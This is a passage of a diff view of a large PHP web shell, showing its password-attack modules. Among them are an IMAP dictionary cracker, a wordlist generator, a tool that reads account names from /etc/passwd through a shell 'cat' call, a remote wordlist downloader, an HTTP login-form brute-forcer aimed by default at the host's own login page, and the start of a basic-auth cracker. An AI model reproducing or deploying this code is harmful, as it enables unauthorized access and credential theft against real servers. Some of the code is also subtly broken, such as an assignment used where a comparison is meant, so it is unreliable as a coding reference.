checked=\"\" value=\"0\" onclick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=\"radio\" value=\"1\" name=\"combo\" onclick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=\"text\" size=\"35\" value=\"root\" name=\"user\"></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=\"text\" name=\"target\" value=\"localhost\" size=\"35\"></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input class=\"buttons\" type=\"submit\" value=\"Start\"></td></tr></form></tbody></table></center>"; |
| 6657 | 6657 | ||
| 6658 | } | 6658 | } |
| 6659 | } | 6659 | } |
| 6660 | 6660 | ||
| 6661 | if ($act == "imap") | 6661 | if ($act == "imap") |
| 6662 | { | 6662 | { |
| 6663 | global $t,$et,$errorbox,$crack; | 6663 | global $t,$et,$errorbox,$crack; |
| 6664 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ | 6664 | if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ |
| 6665 | $target=$_REQUEST['target']; | 6665 | $target=$_REQUEST['target']; |
| 6666 | $type=$_REQUEST['combo']; | 6666 | $type=$_REQUEST['combo']; |
| 6667 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; | 6667 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; |
| 6668 | $dictionary=fopen($_REQUEST['dictionary'],'r'); | 6668 | $dictionary=fopen($_REQUEST['dictionary'],'r'); |
| 6669 | if ($dictionary){ | 6669 | if ($dictionary){ |
| 6670 | echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); | 6670 | echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); |
| 6671 | while(!feof($dictionary)){ | 6671 | while(!feof($dictionary)){ |
| 6672 | if($type){ | 6672 | if($type){ |
| 6673 | $combo=trim(fgets($dictionary)," \n\r"); | 6673 | $combo=trim(fgets($dictionary)," \n\r"); |
| 6674 | $user=substr($combo,0,strpos($combo,':')); | 6674 | $user=substr($combo,0,strpos($combo,':')); |
| 6675 | $pass=substr($combo,strpos($combo,':')+1); | 6675 | $pass=substr($combo,strpos($combo,':')+1); |
| 6676 | }else{ | 6676 | }else{ |
| 6677 | $pass=trim(fgets($dictionary)," \n\r"); | 6677 | $pass=trim(fgets($dictionary)," \n\r"); |
| 6678 | } | 6678 | } |
| 6679 | $imap=imaplogiN($target,$user,$pass); | 6679 | $imap=imaplogiN($target,$user,$pass); |
| 6680 | if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{ | 6680 | if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{ |
| 6681 | if ($imap){echo "U: $user P: $pass<br>";if(!$type)break;}} | 6681 | if ($imap){echo "U: $user P: $pass<br>";if(!$type)break;}} |
| 6682 | flusheR(); | 6682 | flusheR(); |
| 6683 | } | 6683 | } |
| 6684 | echo "<br/>Done</font>"; | 6684 | echo "<br/>Done</font>"; |
| 6685 | fclose($dictionary); | 6685 | fclose($dictionary); |
| 6686 | } | 6686 | } |
| 6687 | else{ | 6687 | else{ |
| 6688 | echo "$errorbox Can not open dictionary.$et"; | 6688 | echo "$errorbox Can not open dictionary.$et"; |
| 6689 | } | 6689 | } |
| 6690 | }else | 6690 | }else |
| 6691 | { | 6691 | { |
| 6692 | echo "<center>IMAP cracker:$crack</center>"; | 6692 | echo "<center>IMAP cracker:$crack</center>"; |
| 6693 | } | 6693 | } |
| 6694 | print ('<center><table border="0" style="border-collapse: collapse" bordercolor= "#282828" width="40%"><tbody><form method="POST" name="form" action=""><tr><td width="40%" bgcolor="#333333">IMAP cracker:</td><td bgcolor="#333333"></td></tr><tr><td width="20%" bgcolor="#666666">Dictionary:</td><td bgcolor="#666666"><input type="text" name="dictionary" size="35" \></td></tr><tr><td width="20%" bgcolor="#808080" \>Dictionary type:</td><td bgcolor="#808080"><input type="radio" name="combo" checked="" value="0" onclick="document.form.user.disabled = false;" style="border-width:1px;background-color:#808080;" \>Simple (P)<input type="radio" value="1" name="combo" onclick="document.form.user.disabled = true;" style="border-width:1px;background-color:#808080;">Combo (U:P)</td></tr><tr><td width="20%" bgcolor="#666666" \>Username:</td><td bgcolor="#666666"><input type="text" size="35" value="root" name="use" \></td></tr><tr><td width="20%" bgcolor="#808080">Server:</td><td bgcolor="#808080"><input type="text" name="target" value="localhost" size="35" \></td></tr><tr><td width="20%" bgcolor="#666666"></td><td bgcolor="#666666" align="right"><input type="submit" value="Start" \></td></tr></form></tbody></table></center>'); | 6694 | print ('<center><table border="0" style="border-collapse: collapse" bordercolor= "#282828" width="40%"><tbody><form method="POST" name="form" action=""><tr><td width="40%" bgcolor="#333333">IMAP cracker:</td><td bgcolor="#333333"></td></tr><tr><td width="20%" bgcolor="#666666">Dictionary:</td><td bgcolor="#666666"><input type="text" name="dictionary" size="35" \></td></tr><tr><td width="20%" bgcolor="#808080" \>Dictionary type:</td><td bgcolor="#808080"><input type="radio" name="combo" checked="" value="0" onclick="document.form.user.disabled = false;" style="border-width:1px;background-color:#808080;" \>Simple (P)<input type="radio" value="1" name="combo" onclick="document.form.user.disabled = true;" style="border-width:1px;background-color:#808080;">Combo (U:P)</td></tr><tr><td width="20%" bgcolor="#666666" \>Username:</td><td bgcolor="#666666"><input type="text" size="35" value="root" name="use" \></td></tr><tr><td width="20%" bgcolor="#808080">Server:</td><td bgcolor="#808080"><input type="text" name="target" value="localhost" size="35" \></td></tr><tr><td width="20%" bgcolor="#666666"></td><td bgcolor="#666666" align="right"><input type="submit" value="Start" \></td></tr></form></tbody></table></center>'); |
| 6695 | 6695 | ||
| 6696 | } | 6696 | } |
| 6697 | 6697 | ||
| 6698 | if ($act == "dic") | 6698 | if ($act == "dic") |
| 6699 | { | 6699 | { |
| 6700 | global $errorbox,$windows,$footer,$t,$et,$hcwd; | 6700 | global $errorbox,$windows,$footer,$t,$et,$hcwd; |
| 6701 | if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0; | 6701 | if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0; |
| 6702 | if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ | 6702 | if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ |
| 6703 | $min = $_REQUEST['min']; | 6703 | $min = $_REQUEST['min']; |
| 6704 | $max = $_REQUEST['max']; | 6704 | $max = $_REQUEST['max']; |
| 6705 | if($max<$min)die($errorbox ."Bad input!$et". $footer); | 6705 | if($max<$min)die($errorbox ."Bad input!$et". $footer); |
| 6706 | $s =$w=""; | 6706 | $s =$w=""; |
| 6707 | $out = $_REQUEST['output']; | 6707 | $out = $_REQUEST['output']; |
| 6708 | $r = ($_REQUEST['range']=='a' )?'a':'A'; | 6708 | $r = ($_REQUEST['range']=='a' )?'a':'A'; |
| 6709 | if ($_REQUEST['range']==0) $r=0; | 6709 | if ($_REQUEST['range']==0) $r=0; |
| 6710 | for($i=0;$i<$min;$i++) $s.=$r; | 6710 | for($i=0;$i<$min;$i++) $s.=$r; |
| 6711 | $dic = fopen($out,'a'); | 6711 | $dic = fopen($out,'a'); |
| 6712 | if(is_nan($r)){ | 6712 | if(is_nan($r)){ |
| 6713 | while(strlen($s)<=$max){ | 6713 | while(strlen($s)<=$max){ |
| 6714 | $w = $s; | 6714 | $w = $s; |
| 6715 | if($combo)$w="$w:$w"; | 6715 | if($combo)$w="$w:$w"; |
| 6716 | fwrite($dic,$w."\n"); | 6716 | fwrite($dic,$w."\n"); |
| 6717 | $s++;} | 6717 | $s++;} |
| 6718 | } | 6718 | } |
| 6719 | else{ | 6719 | else{ |
| 6720 | while(strlen($w)<=$max){ | 6720 | while(strlen($w)<=$max){ |
| 6721 | $w =(string)str_repeat("0",($min - strlen($s))).$s; | 6721 | $w =(string)str_repeat("0",($min - strlen($s))).$s; |
| 6722 | if($combo)$w="$w:$w"; | 6722 | if($combo)$w="$w:$w"; |
| 6723 | fwrite($dic,$w."\n"); | 6723 | fwrite($dic,$w."\n"); |
| 6724 | $s++;} | 6724 | $s++;} |
| 6725 | } | 6725 | } |
| 6726 | fclose($dic); | 6726 | fclose($dic); |
| 6727 | echo "<font color=yellow>Done</font>"; | 6727 | echo "<font color=yellow>Done</font>"; |
| 6728 | } | 6728 | } |
| 6729 | if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ | 6729 | if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ |
| 6730 | $input=fopen($_REQUEST['input'],'r'); | 6730 | $input=fopen($_REQUEST['input'],'r'); |
| 6731 | if (!$input){ | 6731 | if (!$input){ |
| 6732 | if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et<br>"; | 6732 | if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et<br>"; |
| 6733 | else{ | 6733 | else{ |
| 6734 | $input=explode("\n",shelL("cat $input")); | 6734 | $input=explode("\n",shelL("cat $input")); |
| 6735 | $output=fopen($_REQUEST['output'],'w'); | 6735 | $output=fopen($_REQUEST['output'],'w'); |
| 6736 | if ($output){ | 6736 | if ($output){ |
| 6737 | foreach ($input as $in){ | 6737 | foreach ($input as $in){ |
| 6738 | $user = $in; | 6738 | $user = $in; |
| 6739 | $user = trim(fgets($in)," \n\r"); | 6739 | $user = trim(fgets($in)," \n\r"); |
| 6740 | if (!strstr($user,":"))continue; | 6740 | if (!strstr($user,":"))continue; |
| 6741 | $user=substr($user,0,(strpos($user,':'))); | 6741 | $user=substr($user,0,(strpos($user,':'))); |
| 6742 | if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); | 6742 | if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); |
| 6743 | } | 6743 | } |
| 6744 | fclose($input);fclose($output); | 6744 | fclose($input);fclose($output); |
| 6745 | echo "<font color=yellow>Done</font>"; | 6745 | echo "<font color=yellow>Done</font>"; |
| 6746 | } | 6746 | } |
| 6747 | } | 6747 | } |
| 6748 | } | 6748 | } |
| 6749 | else{ | 6749 | else{ |
| 6750 | $output=fopen($_REQUEST['output'],'w'); | 6750 | $output=fopen($_REQUEST['output'],'w'); |
| 6751 | if ($output){ | 6751 | if ($output){ |
| 6752 | while (!feof($input)){ | 6752 | while (!feof($input)){ |
| 6753 | $user = trim(fgets($input)," \n\r"); | 6753 | $user = trim(fgets($input)," \n\r"); |
| 6754 | if (!strstr($user,":"))continue; | 6754 | if (!strstr($user,":"))continue; |
| 6755 | $user=substr($user,0,(strpos($user,':'))); | 6755 | $user=substr($user,0,(strpos($user,':'))); |
| 6756 | if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); | 6756 | if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); |
| 6757 | } | 6757 | } |
| 6758 | fclose($input);fclose($output); | 6758 | fclose($input);fclose($output); |
| 6759 | echo "<font color=yellow>Done</font>"; | 6759 | echo "<font color=yellow>Done</font>"; |
| 6760 | } | 6760 | } |
| 6761 | else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et<br>"; | 6761 | else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et<br>"; |
| 6762 | } | 6762 | } |
| 6763 | }elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ | 6763 | }elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ |
| 6764 | $res=downloadiT($_REQUEST['url'],$_REQUEST['output']); | 6764 | $res=downloadiT($_REQUEST['url'],$_REQUEST['output']); |
| 6765 | if($combo && $res){ | 6765 | if($combo && $res){ |
| 6766 | $file=file($_REQUEST['output']); | 6766 | $file=file($_REQUEST['output']); |
| 6767 | $output=fopen($_REQUEST['output'],'w'); | 6767 | $output=fopen($_REQUEST['output'],'w'); |
| 6768 | foreach ($file as $v)fwrite($output,"$v:$v\n"); | 6768 | foreach ($file as $v)fwrite($output,"$v:$v\n"); |
| 6769 | fclose($output); | 6769 | fclose($output); |
| 6770 | } | 6770 | } |
| 6771 | echo "<font color=yellow>Done</font>"; | 6771 | echo "<font color=yellow>Done</font>"; |
| 6772 | }else{ | 6772 | }else{ |
| 6773 | $temp=whereistmP(); | 6773 | $temp=whereistmP(); |
| 6774 | echo "<center> | 6774 | echo "<center> |
| 6775 | <table> | 6775 | <table> |
| 6776 | <tr valign=top><td> | 6776 | <tr valign=top><td> |
| 6777 | <table>Wordlist generator:<form method=\"POST\"> | 6777 | <table>Wordlist generator:<form method=\"POST\"> |
| 6778 | <tr> | 6778 | <tr> |
| 6779 | <td width=\"20%\" bgcolor=\"#666666\">Range:</td> | 6779 | <td width=\"20%\" bgcolor=\"#666666\">Range:</td> |
| 6780 | <td bgcolor=\"#666666\"> | 6780 | <td bgcolor=\"#666666\"> |
| 6781 | <select name=range> | 6781 | <select name=range> |
| 6782 | <option value=a>a-z</option> | 6782 | <option value=a>a-z</option> |
| 6783 | <option value=Z>A-Z</option> | 6783 | <option value=Z>A-Z</option> |
| 6784 | <option value=0>0-9</option></select> | 6784 | <option value=0>0-9</option></select> |
| 6785 | </td></tr> | 6785 | </td></tr> |
| 6786 | <tr> | 6786 | <tr> |
| 6787 | <td width=\"20%\" bgcolor=\"#808080\">Min lenght:</td> | 6787 | <td width=\"20%\" bgcolor=\"#808080\">Min lenght:</td> |
| 6788 | <td bgcolor=\"#808080\"> | 6788 | <td bgcolor=\"#808080\"> |
| 6789 | <select name=min> | 6789 | <select name=min> |
| 6790 | <option value=1>1</option> | 6790 | <option value=1>1</option> |
| 6791 | <option value=2>2</option> | 6791 | <option value=2>2</option> |
| 6792 | <option value=3>3</option> | 6792 | <option value=3>3</option> |
| 6793 | <option value=4>4</option> | 6793 | <option value=4>4</option> |
| 6794 | <option value=5>5</option> | 6794 | <option value=5>5</option> |
| 6795 | <option value=6>6</option> | 6795 | <option value=6>6</option> |
| 6796 | <option value=7>7</option> | 6796 | <option value=7>7</option> |
| 6797 | <option value=8>8</option> | 6797 | <option value=8>8</option> |
| 6798 | <option value=9>9</option> | 6798 | <option value=9>9</option> |
| 6799 | <option value=10>10</option> | 6799 | <option value=10>10</option> |
| 6800 | </select> | 6800 | </select> |
| 6801 | </td></tr> | 6801 | </td></tr> |
| 6802 | <tr><td width=\"20%\" bgcolor=\"#666666\">Max lenght:</td> | 6802 | <tr><td width=\"20%\" bgcolor=\"#666666\">Max lenght:</td> |
| 6803 | <td bgcolor=\"#666666\"> | 6803 | <td bgcolor=\"#666666\"> |
| 6804 | <select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select> | 6804 | <select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select> |
| 6805 | </td></tr> | 6805 | </td></tr> |
| 6806 | <tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr> | 6806 | <tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr> |
| 6807 | <tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>Combo style output</td></tr> | 6807 | <tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>Combo style output</td></tr> |
| 6808 | <tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Make></td></tr></form></table> | 6808 | <tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Make></td></tr></form></table> |
| 6809 | </td><td> | 6809 | </td><td> |
| 6810 | <table>Grab dictionary: | 6810 | <table>Grab dictionary: |
| 6811 | <form method=\"POST\"> | 6811 | <form method=\"POST\"> |
| 6812 | <tr><td width=\"20%\" bgcolor=\"#666666\">Grab from:</td> | 6812 | <tr><td width=\"20%\" bgcolor=\"#666666\">Grab from:</td> |
| 6813 | <td bgcolor=\"#666666\"><input type=text value=\"/etc/passwd\" name=input size=35></td></tr> | 6813 | <td bgcolor=\"#666666\"><input type=text value=\"/etc/passwd\" name=input size=35></td></tr> |
| 6814 | <tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td> | 6814 | <tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td> |
| 6815 | <td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr> | 6815 | <td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr> |
| 6816 | <tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr> | 6816 | <tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr> |
| 6817 | <tr> | 6817 | <tr> |
| 6818 | <td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Grab></td></tr></form> | 6818 | <td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Grab></td></tr></form> |
| 6819 | </table> | 6819 | </table> |
| 6820 | </td><td> | 6820 | </td><td> |
| 6821 | <table>Download dictionary:<form method=\"POST\"> | 6821 | <table>Download dictionary:<form method=\"POST\"> |
| 6822 | <tr><td width=\"20%\" bgcolor=\"#666666\">URL:</td><td bgcolor=\"#666666\"><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr> | 6822 | <tr><td width=\"20%\" bgcolor=\"#666666\">URL:</td><td bgcolor=\"#666666\"><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr> |
| 6823 | <tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr> | 6823 | <tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr> |
| 6824 | <tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr> | 6824 | <tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr> |
| 6825 | <tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Get></td></tr></form></table> | 6825 | <tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Get></td></tr></form></table> |
| 6826 | </td> | 6826 | </td> |
| 6827 | </tr></table> | 6827 | </tr></table> |
| 6828 | </center> ";} | 6828 | </center> ";} |
| 6829 | } | 6829 | } |
| 6830 | 6830 | ||
| 6831 | if ($act == "htmlform") | 6831 | if ($act == "htmlform") |
| 6832 | { | 6832 | { |
| 6833 | global $errorbox,$footer,$et,$hcwd; | 6833 | global $errorbox,$footer,$et,$hcwd; |
| 6834 | if(!empty($_REQUEST['start'])){ | 6834 | if(!empty($_REQUEST['start'])){ |
| 6835 | $url=$_REQUEST['target']; | 6835 | $url=$_REQUEST['target']; |
| 6836 | $uf=$_REQUEST['userf']; | 6836 | $uf=$_REQUEST['userf']; |
| 6837 | $pf=$_REQUEST['passf']; | 6837 | $pf=$_REQUEST['passf']; |
| 6838 | $sf=$_REQUEST['submitf']; | 6838 | $sf=$_REQUEST['submitf']; |
| 6839 | $sv=$_REQUEST['submitv']; | 6839 | $sv=$_REQUEST['submitv']; |
| 6840 | $method=$_REQUEST['method']; | 6840 | $method=$_REQUEST['method']; |
| 6841 | $fail=$_REQUEST['fail']; | 6841 | $fail=$_REQUEST['fail']; |
| 6842 | $dic=$_REQUEST['dictionary']; | 6842 | $dic=$_REQUEST['dictionary']; |
| 6843 | $type=$_REQUEST['combo']; | 6843 | $type=$_REQUEST['combo']; |
| 6844 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; | 6844 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; |
| 6845 | if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer"); | 6845 | if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer"); |
| 6846 | $dictionary=fopen($dic,'r'); | 6846 | $dictionary=fopen($dic,'r'); |
| 6847 | echo "<font color=blue>Cracking started...<br>"; | 6847 | echo "<font color=blue>Cracking started...<br>"; |
| 6848 | while(!feof($dictionary)){ | 6848 | while(!feof($dictionary)){ |
| 6849 | if($type){ | 6849 | if($type){ |
| 6850 | $combo=trim(fgets($dictionary)," \n\r"); | 6850 | $combo=trim(fgets($dictionary)," \n\r"); |
| 6851 | $user=substr($combo,0,strpos($combo,':')); | 6851 | $user=substr($combo,0,strpos($combo,':')); |
| 6852 | $pass=substr($combo,strpos($combo,':')+1); | 6852 | $pass=substr($combo,strpos($combo,':')+1); |
| 6853 | }else{ | 6853 | }else{ |
| 6854 | $pass=trim(fgets($dictionary)," \n\r"); | 6854 | $pass=trim(fgets($dictionary)," \n\r"); |
| 6855 | } | 6855 | } |
| 6856 | $url.="?$uf=$user&$pf=$pass&$sf=$sv"; | 6856 | $url.="?$uf=$user&$pf=$pass&$sf=$sv"; |
| 6857 | $res=check_urL($url,$method,$fail,12); | 6857 | $res=check_urL($url,$method,$fail,12); |
| 6858 | if (!$res){echo "<font color=blue>U: $user P: $pass</font><br>";flusheR();if(!$type)break;} | 6858 | if (!$res){echo "<font color=blue>U: $user P: $pass</font><br>";flusheR();if(!$type)break;} |
| 6859 | flusheR(); | 6859 | flusheR(); |
| 6860 | } | 6860 | } |
| 6861 | fclose($dictionary); | 6861 | fclose($dictionary); |
| 6862 | echo "Done!</font><br>"; | 6862 | echo "Done!</font><br>"; |
| 6863 | } | 6863 | } |
| 6864 | else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\" bgcolor=\"#333333\">HTTP Form cracker:</td><td bgcolor=\"#333333\" width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Action Page:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Method:</td><td bgcolor=\"#666666\" width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Username field name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Password field name:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Submit name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Submit value:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Fail string:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right width=\"253\"><input class=buttons type=submit name=start value=Start></td></tr></form></table></center>"; | 6864 | else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\" bgcolor=\"#333333\">HTTP Form cracker:</td><td bgcolor=\"#333333\" width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Action Page:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Method:</td><td bgcolor=\"#666666\" width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Username field name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Password field name:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Submit name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Submit value:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Fail string:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right width=\"253\"><input class=buttons type=submit name=start value=Start></td></tr></form></table></center>"; |
| 6865 | } | 6865 | } |
| 6866 | 6866 | ||
| 6867 | if ($act == "basicauth") | 6867 | if ($act == "basicauth") |
| 6868 | { | 6868 | { |
| 6869 | global $errorbox,$et,$t,$crack,$hcwd; | 6869 | global $errorbox,$et,$t,$crack,$hcwd; |
| 6870 | if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ | 6870 | if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ |
| 6871 | $data=''; | 6871 | $data=''; |
| 6872 | $method=($_REQUEST['method'])?'POST':'GET'; | 6872 | $method=($_REQUEST['method'])?'POST':'GET'; |
| 6873 | if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} | 6873 | if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} |
| 6874 | spliturL($_REQUEST['target'],$host,$page); | 6874 | spliturL($_REQUEST['target'],$host,$page); |
| 6875 | $type=$_REQUEST['combo']; | 6875 | $type=$_REQUEST['combo']; |
| 6876 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; | 6876 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; |
| 6877 | if($method='GET')$page.=$data; | 6877 | if($method='GET')$page.=$data; |
| 6878 | $dictionary=fopen($_REQUEST['dictionary'],'r'); | 6878 | $dictionary=fopen($_REQUEST['dictionary'],'r'); |
| 6879 | echo "<font color=blue>"; | 6879 | echo "<font color=blue>"; |
| 6880 | while(!feof($dictionary)){ | 6880 | while(!feof($dictionary)){ |
| 6881 | if($type){ | 6881 | if($type){ |
| 6882 | $combo=trim(fgets($dictionary)," \n\r"); | 6882 | $combo=trim(fgets($dictionary)," \n\r"); |
| 6883 | $user=substr($combo,0,strpos($combo,':')); | 6883 | $user=substr($combo,0,strpos($combo,':')); |
